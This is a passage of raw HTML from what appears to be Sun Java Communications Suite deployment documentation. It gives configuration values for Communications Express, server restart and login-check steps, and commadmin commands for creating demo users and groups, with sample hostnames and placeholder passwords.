&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45235"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Server Instance Identifier &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45237"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [am.abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45239"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45241"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Virtual Server Identifier &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45243"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [am.abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45245"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45247"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; HTTP Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45249"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [80] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45251"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45409"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Administration Server Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45411"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [8800] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45413"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45421"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Administrator User ID &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45423"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [admin] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45433"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46760"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Administrator Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46762"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46764"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; adminpass &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46769"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Secure Administration Server Instance &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46771"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Unchecked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46781"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45253"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Container User ID &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45255"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [webservd] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46790"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45259"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Web Container Group IP &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45261"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [webservd] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46799"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; accept default &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45265"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; URI Path &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45267"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [/uwc] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45269"&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;/mail&lt;/div&gt;&lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45271"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Enable Hosted Domain Support &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45273"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Unchecked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45447"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;Checked (Yes)&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45277"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; URL of Directory Server &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45279"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [ldap://wireless.comms.beta.com:389/] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45281"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; ldap://ds.abc.beta.com:389/ &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45283"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Bind DN &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45285"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [cn=Directory Manager] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45287"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45289"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45291"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45293"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45295"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; DC Tree suffix &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45297"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [o=beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45299"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45301"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Default Domain &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45303"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [abc.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45305"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46805"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Enable Access Manager for Single Sign-On &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46807"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Unchecked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46814"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default (not enabled)&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46820"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Webmail Server Host Name &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46822"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [wireless.comms.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46824"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt;mail.abc.beta.com &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp46826"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Webmail Server Port Number &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46828"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp46830"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b style="font-style: normal;" class="cBold"&gt;80&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45307"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Enable login in secure mode &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45309"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [Unchecked] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45311"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default (not secure)&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45313"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Webmail Server SSL Port Number &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45315"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45317"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;Leave blank&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45319"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Webmail Admin User ID &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45321"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45323"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;admin&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45325"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Admin Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45327"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45329"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45331"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Calendar Server Hostname &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45333"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [wireless.comms.beta.com] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45335"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; mail.abc.beta.com &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45337"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Calendar Server Port &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45339"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [9004] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45341"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;3080&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45343"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Calendar Admin User ID &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45345"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [calmaster] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45347"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45349"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Calendar Administrator User Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45351"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45353"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45355"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; URL of PAB Directory Server &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45357"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [ldap://ds.abc.beta.com:389] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45359"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45361"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Bind As &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45363"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; [cn=Directory Manager] &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45365"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;em class="cEmphasis"&gt;accept default&lt;/em&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp45367"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Password &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45369"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; -- &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp45371"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; &lt;b class="cBold"&gt;adminpass&lt;/b&gt; &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;a name="wp45373"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click the Configure Now button to configure Communications Express.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp47857"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;After the configuration is finished, click Next to continue.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp47860"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The system displays a message to restart the Web Server instance. &lt;/p&gt;&lt;a name="wp47870"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click OK.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp47865"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Next to continue.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp47867"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Click Close to quit the Communications Express configurator script.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45376"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Restart Web Server:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45377"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;cd /var/opt/SUNWwbsvr7/https-am.abc.beta.com/bin&lt;/span&gt; &lt;/p&gt;&lt;a name="wp45378"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./stopserv&lt;/span&gt; &lt;/p&gt;&lt;a name="wp45379"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;./startserv&lt;/span&gt; &lt;/p&gt;&lt;a name="wp46887"&gt; &lt;/a&gt;&lt;/ol&gt;&lt;/div&gt;&lt;a name="wp34987"&gt;&lt;/a&gt;&lt;a name="wp45542"&gt;&lt;/a&gt;&lt;h2 class="pHeading2"&gt; Verifying the Configuration &lt;/h2&gt; &lt;a name="wp45543"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt;This section describes how to verify the configuration for Communications Express client, Delegated Administrator, and Instant Messenger. You simply verify that you can log in to the various services. After you are satisfied that you can log in, log out. &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp45544"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Enable Communications Express mail (Webmail) on mail.abc.beta.com.&lt;/li&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;div class="pCodelineIndent"&gt;&lt;ul class="pCodelineIndent"&gt;&lt;a name="wp48323"&gt; &lt;/a&gt;&lt;p class="pCodelineIndent"&gt; cd /opt/SUNWmsgsr/sbin  &lt;/p&gt;&lt;a name="wp48324"&gt; &lt;/a&gt;&lt;p class="pCodelineIndent"&gt; ./configutil -o local.webmail.sso.uwcenabled -v 1  &lt;/p&gt;&lt;a name="wp48325"&gt; &lt;/a&gt;&lt;p class="pCodelineIndent"&gt; ./stop-msg  &lt;/p&gt;&lt;a name="wp48321"&gt; &lt;/a&gt;&lt;p class="pCodelineIndent"&gt; ./start-msg  &lt;/p&gt;&lt;/ul&gt;&lt;/div&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp48314"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;In your web browser, open the following URL for the Communications Express client:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45545"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;http://am.abc.beta.com/mail&lt;/span&gt; &lt;/p&gt;&lt;a name="wp45546"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Log in as one of the users created earlier.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45547"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; If you created a user according to the previous steps, type alvin&lt;span class="cCodeStrong"&gt;&lt;/span&gt; for the user name, and &lt;span class="cCodeStrong"&gt;demo&lt;/span&gt; for the password. &lt;/p&gt;&lt;a name="wp45548"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;In your web browser, open the following URL for Delegated Administrator:&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45549"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;http://am.abc.beta.com/da/DA/Login&lt;/span&gt; &lt;/p&gt;&lt;a name="wp45550"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; Log in as user &lt;span class="cCode"&gt;admin&lt;/span&gt;. The password is &lt;span class="cCode"&gt;adminpass&lt;/span&gt;. &lt;/p&gt;&lt;a name="wp45551"&gt;&lt;/a&gt;&lt;a name="wp48112"&gt;&lt;/a&gt;&lt;p class="pAnchor"&gt;  &lt;/p&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Continue with the next section to configure Access Manager.&lt;/li&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt;&lt;a name="wp35341"&gt;&lt;/a&gt;&lt;a name="wp47680"&gt;&lt;/a&gt;&lt;h2 class="pHeading2"&gt; Creating Additional User Accounts and Groups &lt;/h2&gt; &lt;a name="wp35909"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt;This section describes how to create additional users accounts and groups. Users and groups created in this fashion work with both Communications Services products and Portal Server (if you add Portal Server to this deployment at a later date). &lt;/p&gt; &lt;a name="wp35910"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Create End User Accounts and Groups &lt;/h4&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp35911"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;The following example shows how to create users using the Delegated Administrator command-line utility and also how to create a group consisting of the users created.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35919"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt;    &lt;table summary="Table border" border="1" cellpadding="2" cellspacing="0" width="90%"&gt; &lt;caption&gt;&lt;br /&gt;&lt;/caption&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td&gt;  &lt;table summary="This table is used for code examples" id="wp47441" border="0" cellpadding="2"&gt;   &lt;tbody&gt;&lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp47441"&gt; &lt;/a&gt;&lt;p class="pScreenText"&gt; /opt/SUNWcomm/bin/commadmin user create -D admin -F Demo -l demo1 -L One -n abc.beta.com  -p 80 -w adminpass -W demo -X am.abc.beta.com -S mail,cal -E demo1@abc.beta.com -H mail.abc.beta.com  &lt;/p&gt; &lt;a name="wp47442"&gt; &lt;/a&gt;&lt;p class="pScreenText"&gt;   &lt;/p&gt; &lt;a name="wp35916"&gt; &lt;/a&gt;&lt;p class="pScreenText"&gt; /opt/SUNWcomm/bin/commadmin user create -D admin -F Demo -l demo2 -L Two -n abc.beta.com  -p 80 -w adminpass -W demo -X am.abc.beta.com -S mail,cal -E demo2@abc.beta.com -H am.abc.beta.com  &lt;/p&gt; &lt;a name="wp35917"&gt; &lt;/a&gt;&lt;p class="pScreenText"&gt;   &lt;/p&gt; &lt;a name="wp35918"&gt; &lt;/a&gt;&lt;p class="pScreenText"&gt; /opt/SUNWcomm/bin/commadmin group create -D admin -G Demostaff -n abc.beta.com -p 80 -w  adminpass -X am.abc.beta.com -S mail -E Demostaff@abc.beta.com -H mail.abc.beta.com -o calmaster -m demo1 -m demo2  &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/div&gt;&lt;a name="wp36073"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt;  &lt;/p&gt;&lt;div align="left"&gt; &lt;table summary="This table is used for Notes, Tips, and Cautions" id="wp36076" border="0" width="90%"&gt;   &lt;caption&gt;&lt;br /&gt;&lt;/caption&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;    &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp36076"&gt; &lt;/a&gt;&lt;p class="pNote"&gt; Note &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp36083"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; Creating groups using the Delegated Administrator command-line interface will guarantee that these groups will be recognized by Access Manager as LDAP groups that can be searched on using Instant Messenger. They can also be used to send email to the entire group.&lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp35927"&gt; &lt;/a&gt;&lt;h4 class="pHeading4"&gt;   To Create User Accounts by Using Delegated Administrator Console &lt;/h4&gt; &lt;a name="wp35928"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt;An alternative to using the Delegated Administrator command-line utility to create users is to use the Delegated Administrator console. The high-level steps to create users with Delegated Administrator console are the following: &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;a name="wp35929"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Creating the user&lt;/li&gt;&lt;/div&gt;&lt;a name="wp35930"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Using Access Manager to add Services to those user accounts (if necessary)&lt;/li&gt;&lt;/div&gt;&lt;/ul&gt;&lt;/div&gt; &lt;a name="wp35931"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; Prior to using Delegated Administrator, check the &lt;span class="cCode"&gt;resource.properties&lt;/span&gt; file to make sure users will be created using options consistent with your usage. Because this example uses a hosted domain scenario, you do not need to edit this file to make changes. If you do want to make changes, perform the following steps. &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp40683"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Change directories to &lt;span class="cCode"&gt;/var/opt/SUNWcomm/WEB-INF/classes/sun/comm/cli/server/servlet&lt;/span&gt; and edit the &lt;span class="cCode"&gt;resource.properties&lt;/span&gt; file on am.abc.beta.com.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp48023"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The default settings for &lt;span class="cCode"&gt;servicepackage&lt;/span&gt; refresh rates are as follows: &lt;/p&gt;&lt;a name="wp40686"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;servicepackage-ttlhours=5&lt;/span&gt; &lt;/p&gt;&lt;a name="wp40691"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; &lt;span class="cCode"&gt;servicepackage-ttlminutes=0&lt;/span&gt; &lt;/p&gt;&lt;a name="wp48033"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt;These settings establish the time between refreshes of service packages. In a demo scenario, service packages do not change very often so there is no need to refresh them every five minutes. Instead, they are refreshed every five hours. This improves Delegated Administrator performance. If you later decide to change the refresh rate, for example, to 20 hours, then make this change: &lt;/p&gt;&lt;/ol&gt;&lt;/div&gt; &lt;div class="pCodelineIndent"&gt;&lt;ul class="pCodelineIndent"&gt;&lt;a name="wp48056"&gt; &lt;/a&gt;&lt;p class="pCodelineIndent"&gt; &lt;span class="cCodeStrong"&gt;servicepackage-ttlhours=20 &lt;/span&gt; &lt;/p&gt;&lt;a name="wp40695"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The default setting for calendar ID type is set using the &lt;span class="cCode"&gt;switch-caltype&lt;/span&gt; variable as follows: &lt;/p&gt;&lt;a name="wp47970"&gt; &lt;/a&gt;&lt;p class="pCodelineIndent"&gt; switch-caltype=hosted  &lt;/p&gt;&lt;a name="wp40777"&gt; &lt;/a&gt;&lt;p class="pStepParaI1"&gt; The &lt;span class="cCode"&gt;caltype&lt;/span&gt; can either be &lt;span class="cCode"&gt;hosted&lt;/span&gt; or &lt;span class="cCode"&gt;legacy&lt;/span&gt;. When you set &lt;span class="cCode"&gt;caltype&lt;/span&gt; to &lt;span class="cCode"&gt;hosted&lt;/span&gt;, users are created as &lt;span class="cCode"&gt;uid@&lt;/span&gt;&lt;em 